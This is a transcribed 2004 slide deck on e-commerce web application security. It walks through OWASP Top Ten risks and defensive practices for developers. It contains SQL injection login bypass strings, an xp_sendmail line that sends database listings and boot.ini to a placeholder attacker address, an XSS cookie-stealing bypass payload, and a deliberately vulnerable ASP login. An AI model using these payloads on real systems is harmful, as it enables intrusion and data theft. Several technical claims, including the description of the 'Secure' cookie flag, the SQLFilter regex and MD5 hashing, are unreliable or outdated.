Web Application Security E-Commerce Risks and Vulnerabilities April 2004

Transcription

Web Application Security
E-Commerce Risks and Vulnerabilities
April 2004
Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com
Executive Summary &
Introductions
Agenda
•
•
•
•
•
•
•
•
Introduction
Problem Statement
Information Security
Application Security
The Guiding Tenets of Application Security
The Top Ten
Potential Help – Validators (PHP & J2EE)
Conclusions and Questions
v. 2.3
3
Can your Architects & Developers Detect…
•
•
•
•
•
•
•
Buffer-overflows ?
Parameter Tampering ?
Stealth Commanding ?
Cross-Site Scripting ?
SQL Injection ?
Cookie Poisoning ?
Hidden Field Manipulation ?
v. 2.3
4
If not, you are subject to…
•
•
•
•
•
•
Crashing Servers/Applications
User Impersonation
E-Shoplifting
Accessing Sensitive Data
Taking Control of Your Operating System
Taking Control of Your Database
v. 2.3
5
Name Your Own Price On Pay Pal
• PayPal provided merchants with cut-and-paste code for sending
transaction data to the payment service
• The PayPal payment links easily identified where the software was
stored on the server
• While purveyors of downloadable digital goods who accept PayPal
payments are especially vulnerable, PayPal’s Web Accept system may
hold potential risks for many of its more than 3 million business
customers
• Merchants may be vulnerable to price tampering and other attacks
• Armed with nothing more than a text editor and a Web browser, a
crafty fraud artist can change prices of items at hundreds of e-shops
that use PayPal
Name Your Own Price on PayPal, Wired, April 19, 2002
http://www.wired.com/news/business/0,1367,51977,00.html
v. 2.3
6
Problem Statement
Why Is Application Security Important?
• New threats emerge every day
• Some hackers are not satisfied with penetrating your
network; they seek information that resides in your
applications/databases
• Applications are often plagued by poor designs, software
bugs, and poor programming practices
• Applications may be a fast and easy entry point into a
secure network
• Applications contain and process your most critical
(important and sensitive) information
• Programming logic may cause vulnerabilities just as
troublesome as difficulties inherent with certain
technologies
v. 2.3
8
Why Is Application Security
Often Ignored?
• Usually there are time and budget constraints in
application development that cause proper testing and
secure programming training to fall to the way-side
• Security is typically not prioritized by programming teams;
they are paid to deliver functionality first and foremost
• E-commerce initiatives are often rushed into production
• Organizations often expect the software manufacturer
“build in” security; security is 80% process driven, 20%
software driven
Information Security Defined
What is Information Security?
A combination of…
• People
• Processes
• Technologies
– Infrastructure
– Applications
Infrastructure and
Applications are integrated in
an e-commerce architecture
v. 2.3
11
Four Basic Security Concepts
Poor application security measures can lead to
breaches in data:
•
•
•
•
Integrity
Confidentiality
Availability
Accountability
v. 2.3
12
Data Integrity
• Protection of information from tampering, forgery,
or accidental changes.
– Defacement of website
• The White House
• Amnesty International
– E-Shoplifting
• The number of vandalized Web sites recorded by
defacement archive Alldas.de jumped in 2001 to
22,379, over five times more than the 4,393
defacements logged in 2000.
• January 2004, there were 13,654 known attacks on
Linux based WWW systems alone.
v. 2.3
13
Availability
• Ensures that authorized users have access to
the application and the data when required.
• Example: Microsoft Developer Store
v. 2.3
14
Confidentiality
• Ensures that applications and data is
accessible to only the users intended and
authorized to have access.
• Credit Card Theft
–
–
–
–
CD Universe
CreditCards.com
Guess?
Many Others
v. 2.3
15
Accountability Within the Application
• Ensure accuracy of data and guide against
unauthorized modifications
• Who did what with your data?
• HIPAA Privacy Regulations: Protected
Healthcare Information (PHI)
– Digital, printed, oral
– Limited technical guidance
– Security enables privacy
v. 2.3
16
Applications Must Exist
within a Secure Infrastructure
•
•
•
•
•
•
•
Harden systems
Use concept of least-privilege
Patch management
Firewalls
Intrusion detection
Virus protection
And Others Tactics…
Application Security Defined
What is the goal of
Application Security?
Prevent the loss, modification, or misuse of
application systems “data” or application
architecture. Here we are focusing on webenabled systems
Making an e-commerce application secure is much
harder than just adding a password protected
login screen!
Securing the Application
•
•
•
•
•
•
Authentication & Identification
Authorization & Access Control
Logging & Auditing Procedures
Managing User Sessions
Encryption Routines
And More…
v. 2.3
20
Web Application Security
The Basic Tenets
v. 2.3
21
1. Validate Input and Output
• All data input and output should be checked very carefully
for appropriateness. This check should be to see if the data
is what is expected (length, characters). Making a list of
bad characters is not the way to go; the lists are rarely
complete. A secure program should know what it expects,
and reject other input. For example, if an input field is for a
Social Security Number, then any data that is not a string
of nine integers is not valid. A common mistake is to filter
for specific strings or payloads in the belief specific
problems can be prevented.
v. 2.3
22
2. Fail Securely (Closed)
• Applications should default to secure operation. That is, in the event of
failure or misconfiguration, they should not reveal more information
than necessary with regard to:
– Error messages (for efficient debugging purposes)
– The application configuration (directory, version/patch levels)
– The operating environment (network addressing, OS version/patch
levels)
• As well, they should not allow transactions or processes to continue
– With more privileges than normal
– With more access than normal
– Without proper validation of input parameters and output results
– Bypassing any monitoring or logging facilities
v. 2.3
23
3. Keep it Simple
• While it is tempting to build elaborate and complex
security controls, the reality is that if a security system is
too complex for its user base, it will either not be used or
users will try to find measures to bypass it. Often the most
effective security is the simplest security. Do not expect
users to enter 12 passwords and let the system ask for a
random number password for instance.
v. 2.3
24
4. Use and Reuse Trusted
Components
• Invariably other system designers (either on your
development team or on the Internet) have faced the same
problems as you. They may have invested a large amount
of time on research and developing robust solutions to the
problem. In many cases they will have improved
components through an iterative process and learned from
common mistakes along the way. Using and reusing
trusted components make sense both from a resource
stance and from a security stance. When someone else has
proven they got it right; take advantage.
v. 2.3
25
5. Defense in Depth
• Relying on one component to perform its function 100% of
the time is unrealistic. While we hope to build software
and hardware that works as planned, predicting the
unexpected is difficult . Good systems don’t predict the
unexpected, but plan for it. If one component fails to catch
a security event, a second one would.
v. 2.3
26
6. Only as Secure as the Weakest
Link
• We’ve all seen it, “This system is 100% secure, it uses 128
bit SSL”. While it may be true that the data in transit from
the user’s browser to the web server has appropriate
security controls, more often that not the focus of security
mechanisms is at the wrong place. As in the real world
where there is no point in placing all of your locks on your
front door to leave the backdoor swinging in its hinges,
you need to think carefully about what you are securing.
Attackers are lazy and will find the weakest point and
attempt to exploit it.
v. 2.3
27
7. Security by Obscurity Won’t
Work in the Long Run
• It’s naïve to think that hiding things from prying eyes
doesn’t buy you some amount of time. Lets face it some of
the biggest exploits unveiled in software have been
obscured for years. But obscuring information is very
different from protecting it. You are relying on the fact that
no one stumbles onto your obfuscation. This strategy
doesn’t work in the long term and has no guarantee of
working in the short term.
v. 2.3
28
8. Least Privilege
• Systems should be designed in such a way that they run
with the least amount of system privilege they need to do
their job. This is the need to know approach. If a user
account doesn’t need root privileges to operate, don’t
assign them in the anticipation they may need them.
Giving the pool man an unlimited bank account to buy the
chemicals for your pool when you’re on vacation is
unlikely to be a positive experience.
v. 2.3
29
9. Compartmentalization
• Similarly compartmentalizing users, processes and data
helps contain problems if they do occur.
Compartmentalization is an important concept widely
adopted in the information security realm. Imagine the
same pool man scenario. Giving the pool man the keys to
the house while you are away so he can get to the pool
house, may not be a wise move. Containing his access to
the pool house limits the types of problems that may occur
if something was to happen.
v. 2.3
30
A couple examples of those that
Didn’t Follow these Tenets
v. 2.3
31
CD Universe
• Theft of 300,000 credit card numbers from an Internet
music retailer which were posted on a Web site after an
attempt to extort money from the company failed
• The hacker said he exploited a security flaw in the
software used to protect financial information at CD
Universe’s Web site
• Reputation Risk
– Would you buy from CD Universe online now?
• Transactional Risk
– Someone has to pay for the purchases made with the stolen credit card
numbers
Rebuffed Internet extortionist posts stolen credit card data, CNN, January 10, 2000
http://www.cnn.com/2000/TECH/computing/01/10/credit.card.crack.2/
v. 2.3
32
Microsoft Developer Store
• Unavailable following reports that a security flaw
gave visitors the ability to take control of the site,
including access of customer data
• 10-12 hour window during which some people
knew about this hole and it was still exploitable
• Should you really trust the vendor to implement
your security?
• This occurred because of a programming error;
The site was compromised by way of a search
engine text box
Brian McWilliams, Newsbytes, Microsoft Developer Store shuttered following database gaffe, January 11, 2002
http://online.securityfocus.com/news/307
v. 2.3
34
Citibank
• $10 million stolen from accounts
• Recovered all but $400,000
• Entrance was gained via poor application level
authentication controls
• Would you keep your money with this institution?
David H. Freedman, How To Hack A Bank, Forbes, April 03, 2000
http://www.forbes.com/asap/2000/0403/056.html
v. 2.3
35
How Does This
All Come Together?
• Understanding the relationships of security
controls between the various levels of a distributed
application: data, database, backend systems,
front-end systems (e.g., web server), application
code, user interface (e.g., web browser)
DeveloperStore.com was compromised at the
lowest layer (the furthest inside) of their
application – at the database. An attacker took
advantage of ill-prepared relationships between
these components.
So precisely where does Security Matter
in the Development Lifecycle?
First things First: How may we analyze the development lifecycle?
• Popular Fiction: Waterfall Model
– Linear, Highly Structured, Deterministic
– Traditional Management Viewpoint
• Closer to Reality: Cluster Model
– Development divided into multiple iterations of mini-lifecycles
where developers constantly integrated increasingly refined
knowledge
– Traditional Developer Viewpoint
Then where should
security be considered?
At every stage of a project after business requirements are understood!
• Selection of Technical Alternatives
• Implementation/Development
–
–
–
–
–
–
–
}
Functional Analysis
Use-Case Analysis
Application Design
Coding Standards
Source Code
User Manuals & Procedures
Operations Manuals & Procedures
• Maintenance/Operations
• End of Life
• After Incidents
these steps are
combined in practice
The Top Ten Threats
Open Web Application Security
Project
• http://www.owasp.org
• Documentation
– The Guide
– The Top Ten
• Software
–
–
–
–
WebScarab
WebGoat
CodeSeeker
Numerous Utilities – Check out the CVS tree at
Sourceforge.
v. 2.3
40
Why OWASP?
• Very competent team members
• Producing Real World Results for
Administrators, Developers, and Security
Testers alike. (maybe hackers too)
• Industry recognition.
• U.S. Federal Government Recognition
(FTC & Guess Jeans)
v. 2.3
41
The OWASP Top Ten
• Unvalidated Input
• Broken Access
Control
• Broken Authentication
and Session
Management
• Cross-Site Scripting
• Buffer Overflows
• Injection Flaws
• Improper Error Handling
(not covered)
• Insecure Storage
• Denial of Service (not
covered)
• Insecure Configuration
Management (not covered)
v. 2.3
42
But First, a primer
• HTTP v1.1 - RFC 2616 (http://www.ietf.org/)
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040119
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PREF=ID=31b293b93f375666:LD=en:NR=100:TM=1067982432:LM=1076064491:S=N7ujKC9OkInHXTRn
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/html
Content-Encoding: gzip
Server: GWS/2.1
Content-length: 1217
Date: Tue, 24 Feb 2004 19:24:01 GMT
v. 2.3
43
Unvalidated Input – getting
started with a little PHP.
{
return strtr($string,
"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ",
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy");
}
{
$pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; $string = preg_replace($pattern, '', $string);
$string = '"'.preg_replace('/\$/', '\\\$', $string).'"';
$len = strlen($string);
if((($min != '') && ($len < $min)) || (($max != '') && ($len > $max)))
return FALSE;
return $string;
}
v. 2.3
44
Unvalidated Input – the root of:
•
•
•
•
•
•
Cookie Poisoning
Parameter Tampering
Cross Site Scripting
SQL Injection
Stealth Commanding
And others………
v. 2.3
45
Unvalidated input originates from:
• Carry-over from the mainframe days – blindly
trusting user input. This leads to:
– “buffer-overflows” allowing execution of arbitrary code
(e.g., Code Red)
– “privilege escalation” becoming the administrator of the
system
– “impersonation” of other users
v. 2.3
46
Best Practices
• Define What is allowed
• As a rule don’t try to pick out everything
that is not allowed.
v. 2.3
47
What is allowed?
•
•
•
•
•
•
Character Set ( UNICODE, UTF-8)
Input Length
Credit Card Format
Data Type (string, integer, etc)
Date
Numeric Range
v. 2.3
48
Unvalidated Input: References
• J2EE – http://stinger.sourceforge.net
• Apache – http://www.modsecurity.org
• Struts http://www.onjava.com/pub/a/onjava/2002/12/11/j
akartastruts.html
• PHP – OWASP CVS
• .NET http://www.devarticles.com/c/a/ASP.NET/Underst
anding-ASP.Net-Validation-Controls/
v. 2.3
49
A Quick Demo – Introducing
WebScarab
v. 2.3
50
Access Control
• Identification and authentication (I&A): These
determine who can log on to a system.
• Authorization: This determines what an authorized
user can do.
• Accountability: This identifies what a user did.
v. 2.3
51
Basic Means of Identification &
Authentication
• Authentication challenges
• Three means of authenticating a user’s
identity
• Problems associated with each
v. 2.3
52
HTTP Basic Authentication
• No ‘logout’
mechanism
Request
Page
Response
HTTP Client
(web browser)
• Transport
security
Protected Realm
401 Unauthorized Access
WWW – Authenticate
(web server)
HTTP/1.1 401 Authorization Required
WWW-Authenticate: Basic realm=" WallyWorld "
Request
Accept Credentials?
WWW – Authentication
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Response
Yes
Requested Page
• Replay
HTTP/1.1 200 OK
Response
No
401 Unauthorized
HTTP/1.1 401 Authorization Required
v. 2.3
53
Forms Based Authentication
• Embedded code
– HTML Forms
• TYPE = “PASSWORD”
• POST Request
• Classic Protocol Attacks
• Secure storage of hashed password
repository
v. 2.3
54
Basic Credential Management
• Username structure
• Storing Usernames & Passwords – MD5
and SHA1 are your friends
• Ensuring Password Quality
v. 2.3
55
Best Practice Examples
• Forms Based Logins
• Automated Password Reset Systems
v. 2.3
56
Forms Based Login
•
•
•
•
•
•
•
•
•
•
The database stores an MD5 hash of the password.
A client requests the login page
The server calculates a timestamp and appends a unique number, creating the
the salt, and sends it to the client along with the page.
JavaScript code on the client computes the MD5 hash of the password entered
by the user.
It then concatenates the salt to the hash and re-computes the MD5 hash.
This result is then sent to the server.
The server picks the hash of the password from its database, concatenates the
salt and computes the MD5 hash.
If the user entered the correct password these two hashes should match. The
server compares the two and if they match, the user is authenticated.
See http://pajhome.org.uk/cgi-bin/md5auth.pl for an example in PERL (BSD
License).
Take a peek at Yahoo’s login source 
v. 2.3
57
Automated Password Reset
Systems
1.
2.
3.
4.
The user clicks on a “forgot my password” link
Ask the user to supply some details like personal details
or ask a hint question.
Send an mail to the users authorized mail id with a link
which will take the user to a page for resetting the
password.
This link should be active for only a short time, and
should be SSL- enabled.
5. The security benefits of this method are:
–
–
the password is not sent in the mail;
since the link is active for a short time, there is no harm even if
the mail remains in the mailbox for a long time.
v. 2.3
58
Broken Access Control
• Failure in restricting access to resources based on
the identity of a particular entity
• Principle of Least Privilege
– Entity be granted the minimum necessary privileges
required to perform a job
– Limits the damage that can result from unauthorized
use.
v. 2.3
59
Mandatory Access Control
• Mandatory access control (MAC) is an access policy determined by
the system, not the owner. MAC is used in multilevel systems that
process highly sensitive data, such as classified government and
military information.
• Sensitivity labels: In a MAC-based system, all subjects and objects
must have labels assigned to them.
• Data import and export: Controlling the import of information from
other systems and export to other systems (including printers) is a
critical function of MAC-based systems, which must ensure that
sensitivity labels are properly maintained and implemented so that
sensitive information is appropriately protected at all times.
v. 2.3
60
Discretionary Access Control
• An access policy determined by the owner of a file (or
other resource). The owner decides who is allowed access
to the file and what privileges they have.
• File and data ownership: Every object in a system must
have an owner. The access policy is determined by the
owner of the resource (including files, directories, data,
system resources, and devices).
• Access rights and permissions: These are the controls that
an owner can assign to individual users or groups for
specific resources.
v. 2.3
61
Role Based Access Control
• Role-based access control assigns group membership
based on organizational or functional roles. This strategy
greatly simplifies the management of access rights and
permissions:
• Access rights and permissions for objects are assigned any
group or, in addition to, individuals.
• Individuals may belong to one or many groups. Individuals
can be designated to acquire cumulative permissions (every
permission of any group they are in) or disqualified from
any permission that isn't part of every group they are in.
v. 2.3
62
RBAC Access Control - J2EE
EJB Security Architecture
• Principals and Roles
– An authenticated identity (principal) is “mapped” to
– A role or set of roles or groups associated with permissions within
the application.
• Declarative security
– Deployment descriptor defines the security properties of the EJB
components
• Programmatic Security
– getCallerPrincipal
– isCallerInRole
• System Security
– EJB “sandboxing” and some are wide open by default.
v. 2.3
63
Security - Presentation Layer
•
•
•
Authenticating users within the servlet – Basic, Forms-Based, Client Certificate, (Digest)
getRemoteUser, isUserInRole, getUserPrincipal
Defined within web.xml:
<security-role>
<role-name>SiteAdmin</role-name>
</security-role>
<security-role-ref>
<role-link>Administrator-login</role-link>
</security-role-ref>
<servlet>
<web-resource-collection>
<web-resource-name>Administration</web-resource-name>
<url-pattern>/siteadmin/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
<auth-constraint>
</auth-constraint>
</web-resource-collection></security-constraint></servlet>
v. 2.3
64
Security – EJB Layer
• Role definitions are very similar to servlet and are
defined within the assembly descriptor portion of
the deployment descriptor file.
• Mapping roles to methods – for example, the SiteAdmin role can call the setBankBalance method
and the getBankBalance method, but the StandardUser role can only call the getBankBalance.
Method.
v. 2.3
65
EJB Security Example
v. 2.3
66
Session Management
• HTTP is a stateless protocol
• Browser storage is not secure
• Common Practices
• State Mechanism Schemes
v. 2.3
67
HTTP Cookies
• Introduction
• How do Cookies work?
• General Considerations
v. 2.3
68
Cookies, con’t.
• Cookies used to implement access control
schemes
• Eavesdropper armed with packet sniffer
• Transaction processing system
v. 2.3
69
Cookies Best Practices
• Best Practices
– In ISP or large environments where many users share the same
Web server, it is important to use as specific a path as possible in
the cookie. For instance if the program that processes cookies lives
at URL http://mmm.company.com/app/login.asp then the
developer should arrange for the cookie path to be set to /app
rather than a more general path like /. Additional checks can be
performed to further insure that sessions cannot be intercepted
through the acquisition of valid session keys:
• Expire sessions that have not been accessed within a
reasonable period of time (e.g. 5 minutes).
• Use additional information inside the HTTP stream to
authenticate sessions (e.g. userid, IP address). BUT don’t rely
upon these alone!!!
v. 2.3
70
Session Management – a broken
Cookie scheme
• “The cookie is encrypted, so it can’t be broken”
– Tue Mar 23 14:54:52 EST 1999
Set-Cookie:
Session=D4B0FEAEF18B591F8FDC0AD1-10; path=/
– Tue Mar 23 14:54:58 EST 1999
Set-Cookie:
Session=D4B0FEAEF18B591F8FDCB96C-11; path=/
– Tue Mar 23 14:55:03 EST 1999
Set-Cookie:
Session=D4B0FEAEF18B591F8FDCE3D1-12; path=/
• The previous cookies are encrypted using Triple
DES in CBC mode.
v. 2.3
71
Cookie Construction
•
Name – A string indicating the name of the cookie. The cookie name and the path comprise a unique
name. Setting a cookie with the same name and path as an existing cookie replaces the existing
occurrence. Name is a required argument.
•
Value – A string specifying the new value of the cookie.
•
Expire – The expiration time of the cookie. The date and time is specified in seconds since 12 AM on
January 1, 1900. If no expiration date is given, the cookie lasts until the end of the current browser
session.
•
Path – The path specifies which URLs in the domain should receive the cookie. This defaults to the
path of the current URL. A path of ‘/’ means all URLs in the domain should receive the cookie.
•
Domain – The domain name specifies the host(s) that should receive the cookies. This string is an
optional argument. The default is the local domain.
•
Secure – A string that indicates whether the cookie can be stored on disk in a cookies file. The defaul
value is ‘INSECURE’, meaning yes the cookie can be written to disk, while often, the DESIRED
setting is ‘SECURE’ meaning the cookie is destroyed as the browser is closed and is only held in
memory.
v. 2.3
72
Securing Session Tokens
• Cryptographic Algorithms for Session
Tokens
–
All session tokens (independent of the state mechanisms) should be user unique, non-predictable, and resistant
to reverse engineering. A trusted source of randomness should be used to create the token (like a pseudorandom number generator, Yarrow, EGADS, etc.). Additionally, for more security, session tokens should be tied
in some way to a specific HTTP client instance to prevent hijacking and replay attacks (e.g. token creation
algorithm should include a variables such as the concatenation of the MAC address of the computer and
process id of the browser window, etc.). In general, a session token algorithm should never be based on or use
as variables any user personal information (user name, password, home address, etc.)
• Appropriate Key Space
–
Even the most cryptographically strong algorithm still allows an active session token to be easily determined if
the keyspace of the token is not sufficiently large. Attackers can essentially "grind" through most possibilities
in the token's key space with automated brute force scripts. A token's key space should be sufficiently large
enough to prevent these types of brute force attacks, keeping in mind that computation and bandwidth capacity
increases will make these numbers insufficient over time.
v. 2.3
73
Managing User Sessions – Session Management Schemes
•
Session Time-Out
–
•
Regeneration of Session Tokens
–
•
Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute
force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If
a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain
access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy
servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited
if the particular session has not been expired on the HTTP server.
To prevent Session Hijacking and Brute Force attacks from occurring to an active session, the HTTP server can
seamlessly expire and regenerate tokens to give attacker a smaller window of time for replay exploitation of
each legitimate token. Token expiration can be performed based on number of requests or time.
Session Forging/Brute-Forcing Detection and/or Lockout
–
Many websites have prohibitions against unrestrained password guessing (e.g., it can temporarily lock the
account or stop listening to the IP address). With regard to session token brute-force attacks, an attacker can
probably try hundreds or thousands of session tokens embedded in a legitimate URL or cookie for example
without a single complaint from the HTTP server. Many intrusion-detection systems do not actively look for
this type of attack; penetration tests also often overlook this weakness in web e-commerce systems. Designers
can use "booby trapped" session tokens that never actually get assigned but will detect if an attacker is trying to
brute force a range of tokens. Resulting actions can either ban originating IP address (all behind proxy will be
affected) or lock out the account (potential DoS). Anomaly/misuse detection hooks can also be built in to detect
if an authenticated user tries to manipulate their token to gain elevated privileges.
v. 2.3
74
Session Management Schemes, con’t.
•
Session Re-Authentication
–
•
Session Token Transmission
–
•
Critical user actions such as money transfer or significant purchase decisions should require the
user to re-authenticate or be reissued another session token immediately prior to significant
actions. Developers can also somewhat segment data and user actions to the extent where reauthentication is required upon crossing certain "boundaries" to prevent some types of crosssite scripting attacks that exploit user accounts.
If a session token is captured in transit through network interception, a web application account
is likely then trivially prone to a replay or hijacking attack. Typical web encryption
technologies include but are not limited to Secure Sockets Layer (SSLv2/v3) and Transport
Layer Security (TLS v1) protocols in order to safeguard the state mechanism token.
Session Tokens on Logout
–
With the popularity of Internet Kiosks and shared computing environments session tokens take
on a new risk. A browser only destroys session cookies when the browser thread is torn down.
Most Internet kiosks maintain the same browser thread. It is therefore a good idea to overwrite
session cookies when the user logs out of the application.
v. 2.3
75
Best Practices
• Always redirect the user to a new page after login
• Use one session token with two values during authentication. One
value before authentication and one after.
• Never display or store the password in cleartext.
• Never e-mail a password.
• Eliminate Browser caching potential using all known tags. Set the
“autocomplete=false” flag.
• What about keystroke loggers????
• There should be some real random input to the session IDs if they are
to be used as the sole means of session tracking and management.
• Any meaningful data being used in session IDs should be hashed (oneway encrypted).
v. 2.3
76
Cross – Site Scripting
• Hijacking/Breach of Trust. When hackers
inject malicious code into a site, the false
scripts are executed in a context that
appears to have originated from the targeted
site, giving attackers full access to the
document retrieved, and maybe even
sending data contained in the page back to
the attacker.
v. 2.3
77
XSS types
• Stored – Script Injection into static web site
storage – message boards, comment fields, etc.
• Reflected – “bounced” off a web server, triggered
by a link, or email. The code runs in the context
of the web server
• Invaluable hacker tool for stealing session Ids.
• Usually JavaScript, but can be VBScript, ActiveX,
Shockwave, etc.
v. 2.3
78
Preventing XSS
• Don’t Filter Input, EXPECT only known
characters. Don’t try to figure out all of the
Unicode variants of “<“ and “>” for
example.
• Encode all output sent back to the user:
v. 2.3
79
XSS Output Encodings
•
•
•
•
•
•
<  <
>  >
(  (
)  )
#  #
&  &
v. 2.3
80
Buffer Overflows
• Execution stack corruption of of the web
application leading to at a minimum a
Denial of Service and potentially to Remote
Command Execution (usually under the
identity of the web server)
• Always a good reason to investigate Java
and J2EE environments
v. 2.3
81
A Simple Example
void some_function(int a, int b, int c)
{
char buffer1[5];
gets(buffer1); /* DON'T DO THIS */
}
void main() {
Some_function(1,2,3);
}
v. 2.3
82
Buffer Overflows
• The Definitive Guide:
– “Smashing The Stack For Fun And Profit”
• What’s a Stack?
– sfp (the saved frame pointer)
– ret (the return address)
bottom of
memory
 growth 
top of
memory
buffer1
sfp
ret
[]
[]
[]
a
b
c
[]
[]
[]
top of stack
{
char buffer1[5];
gets(buffer1); /* DON'T DO THIS */
}
void main() {
Some_function(1,2,3);
}
...
bottom of
stack
v. 2.3
83
Bad C functions
• strcpy(3), strcat(3), sprintf(3) (with cousin
vsprintf(3)), and gets(3).
• The scanf() set of functions (scanf(3), fscanf(3),
sscanf(3), vscanf(3), vsscanf(3), and vfscanf(3)
• And for Microsoft:
• wcscpy(), _tcscpy(), _mbscpy(), wcscat(),
_tcscat(), _mbscat(), and CopyMemory()
v. 2.3
84
Good C functions
•
•
•
•
Don't use strcpy() use strncpy()
Don't use strcat() use strncat()
Don't use sprintf() use snprintf()
Don't use gets() use fgets()
v. 2.3
85
Injection Flaws
• Command Injection - Formail.pl
– 2002 - “Below is the result of your feedback form”
– 1995 - User supplied data (from the "recipient" hidden
field) is passed to a Perl OPEN function without proper
input verification, allowing the use of the command
separation shell metacharacter (;) to execute arbitrary
commands on the remote host
• SQL Injection
v. 2.3
86
Why Database Protection?
• Databases hold valuable info:
– Credit card numbers, passwords, etc.
– Compromises can be VERY costly
• Rapid growth in database security breaches
• Database security gaining momentum within
security community
v. 2.3
87
SQL Injection
SQL Injection: Inserting user-supplied SQL
statements into a dynamically-generated SQL
query making unintended use possible
v. 2.3
88
Front End HTML:
<html>
<body>
<form action=login.asp>
Username: <input type=text name=username><br>
Password: <input type=password name=password><br>
<input type=submit value=Login><br>
</form>
</body>
</html>
IIS ASP:
<%
Dim uname, pass
' declare variables
uname = request.querystring(“username”)
pass = request.querystring(“password”)
set LOGIN = CreateObject(“ADODB.RecordSet”)
LOGIN.ActiveConnection = “ODBCCONNECTION”
LOGIN.CursorType = 0
LOGIN.source = “select * from users where uname='"&uname&"’ and pass= '"&pass&"'”
LOGIN.Open
If LOGIN.BOF = True or LOGIN.EOF = True then
response.redirect “default.asp” ' failed login
else
response.redirect “clients.asp”
' logged in
end if
LOGIN.Close
%>
v. 2.3
89
Common SQL Statements
• SELECT credit_card_number
FROM Users
WHERE username = ‘rjohnson’;
• UPDATE SubscriptionData
SET subscription_is_paid = 1
WHERE username = ‘charrington’;
• INSERT INTO AuthorizedUsers(username)
VALUES(‘my_hacker_login’);
• DELETE * FROM Orders;
v. 2.3
90
Basic MSSQL Syntax
• Double Dashes (--) indicate a comment; rest of
line is ignored
• ‘anything in single quotes’ indicates a string
value
• Semicolons (;) separate SQL statements
v. 2.3
91
MS SQL Query Example
• Let’s say you enter charrington
into the Username field and mypass into the
Password field
• This SQL query is dynamically generated:
SELECT *
FROM Users
WHERE username = ‘charrington’ AND password =
‘mypass’
v. 2.3
92
SQL Injection
• Now, let’s bypass the password check…
• Enter charrington‘ -into the Username field and nothing into the
Password field
• This SQL query is dynamically generated:
SELECT *
FROM Users
WHERE username = ‘charrington’ --’ AND password = ‘’
v. 2.3
93
Or……..
Login: ' OR ‘’=’
Password: ' OR ‘’=’
This will give SQLQuery the following value:
• SELECT uname FROM Users WHERE uname= ‘’
OR ‘’='’ AND pass = ‘’ OR ‘’='’
• What about: EXECUTE master.dbo.xp_sendmail
“badguy@hacker.com”,"”,"select * from
sysdatabases”, “C:\boot.ini” --’ (MS SQL 7)
v. 2.3
94
What to do?
1. The following function will strip unnecessary characters from the passed input.
Function SQLFilter(str)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = “A-Z,0-9"
regEx.IgnoreCase = True
SQLFilter = regEx.Replace(str, “”)
End Function
1. 2. Do not allow a single ' to be accepted as input - always replace each submitted single '
with ‘’ (2 x ' and not ”).
2. 3. If the field is numeric or is a date, then check that each submitted value IS numeric or
is a date. Use the IsNumeric() and the IsDate() functions.
4.
Implement Error Handling so that the system, on detecting an error (such as wrong
input) does not provide even more information. This already occurs within the
database access routines. SQL errors and system exceptions, generate email
notification to administrators, while the end user receives a generic error page
v. 2.3
95
The Best Solution
• Use Parameterized stored procedures
• Use Prepared Statements
v. 2.3
96
The Most Important Slide of this
Presentation: SQL Injection References
• http://www.nextgenss.com/papers/advanced_sql_i
njection.pdf
• http://www.sqlsecurity.com/faq-inj.asp
• http://www.spidynamics.com/papers/SQLInjection
WhitePaper.pdf
• http://www.nextgenss.com/papers/advanced_sql_i
njection.pdf
• http://www.nextgenss.com/papers/more_advanced
_sql_injection.pdf
v. 2.3
97
Insecure Storage (Improper use
of Cryptography)
• The number one risk is failure to use
cryptographic techniques when necessary
• “Keep it simple” means DO NOT try to
invent anything new
• Know when to hash, know when to encrypt.
• Randomness??
v. 2.3
98
Randomness and Entropy
• UNIX /dev/random (urandom)
• CAPICOM for Win32 Utilities.GetRandom
• C# - CryptoServiceProvider
• Java - SecureRandom
v. 2.3
99
Input Validators
A Big Step Towards Prevention
v. 2.3
100
Validators
•
{
$pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; $string = preg_replace($pattern, '', $string);
$string = '"'.preg_replace('/\$/', '\\\$', $string).'"';
return FALSE;
return $string;
}
•
OR
{
$string = preg_replace("/[^a-zA-Z0-9]/", "", $string);
return FALSE;
return $string;
}
• Check out the OWASP filters project.
v. 2.3
101
Validators – ASP.NET & J2EE
• ASP.NET
– v1.1 - XSS filtering support
– v2.0 – Added SQL filtering support
– Problems from the start though:
<%00SCRIPT>alert(document.cookie)</SCRIPT>
• J2EE
v. 2.3
102
A Simple Validator – Luhn’s
Formula
•
•
1.
2.
3.
Credit card validator – Visa, MasterCard, American Express, Diners Club,
Discover
ANSI X.14
Starting with the second to last digit and moving left, double the value of all
the alternating digits.
Starting from the left, take all the unaffected digits and add them to the
results of all the individual digits from step 1. If the results from any of the
numbers from step 1 are double digits, make sure to add the two numbers
first (i.e. 18 would yield 1+8). Basically, your equation will look like a
regular addition problem that adds every single digit.
The total from step 2 must end in zero for the credit-card number to be valid.
v. 2.3
103
Stinger
• J2EE Request validation engine
• Not just a single field-value pair, but a
cohesive way to perform validation of the
entire HTTP request including headers,
form fields, cookies, etc.
• http://stinger.sourceforge.net
v. 2.3
104
